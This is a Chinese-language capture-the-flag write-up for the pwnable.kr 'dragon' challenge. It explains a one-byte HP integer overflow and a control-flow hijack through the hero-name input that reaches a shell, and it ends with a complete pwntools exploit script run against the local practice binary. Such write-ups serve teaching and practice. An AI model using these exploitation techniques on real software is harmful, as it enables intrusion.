writeup - pwnable.kr - dragon

link

前言

工具:

  • pwntool
  • peda
  • radare2

正題

這題有兩個步驟要突破,第一是要怎麽殺掉龍,第二是要怎麽拿到 shell。

遊戲裏面有兩個角色可以選擇,但是經過簡單計算後會發現怎樣都不可能打敗龍。觀察遊戲流程後可以發現敵人有小龍跟媽媽龍,而且龍每回合結束會自動回血,再查程式碼後會發現龍的 hp 只有 1 byte,也就是說超過 128 就會 overflow 到負數,達成屠龍的條件 (hp <= 0)。

這時候我們的角色選擇有 holy shield 技能的 Priest,並且刷出攻擊力較低且回血量較大的媽媽龍後 (兩者只是交叉出現),不停使用 holy shield + clarity 保護角色並讓龍回血,接着媽媽龍就會撐死,玩家可以輸入勇者的名字,然後 segmentation falut。看 code 看到:

用 gdb 可以發現 eax 此時裝得就是方才輸入勇者的名字。所以,幫勇者改名字成 0x08048dbf 後我們就拿到 shell 了!

註解

這裏是 0x08048dbf,其實是遊戲要 troll 玩家放的關卡跟線索,直接呼叫 system("./bin/sh")。

do.py

from pwn import *

r = process("./dragon")

r.sendline("1") # choose hero 1

r.sendline("2") # restore mana
r.sendline("2") # restore mana

log.info("then die")

r.sendline("1")

r.sendline("3") # holy shield
r.sendline("3") # holy shield
r.sendline("2") # restore mana

r.sendline("3") # holy shield
r.sendline("3") # holy shield
r.sendline("2") # restore mana

r.sendline("3") # holy shield
r.sendline("3") # holy shield
r.sendline("2") # restore mana

r.sendline("3") # holy shield
r.sendline("3") # holy shield
r.sendline("2") # restore mana

r.sendline(p64(0x08048dbf)) # hero's name

r.interactive()

Comments

comments powered by Disqus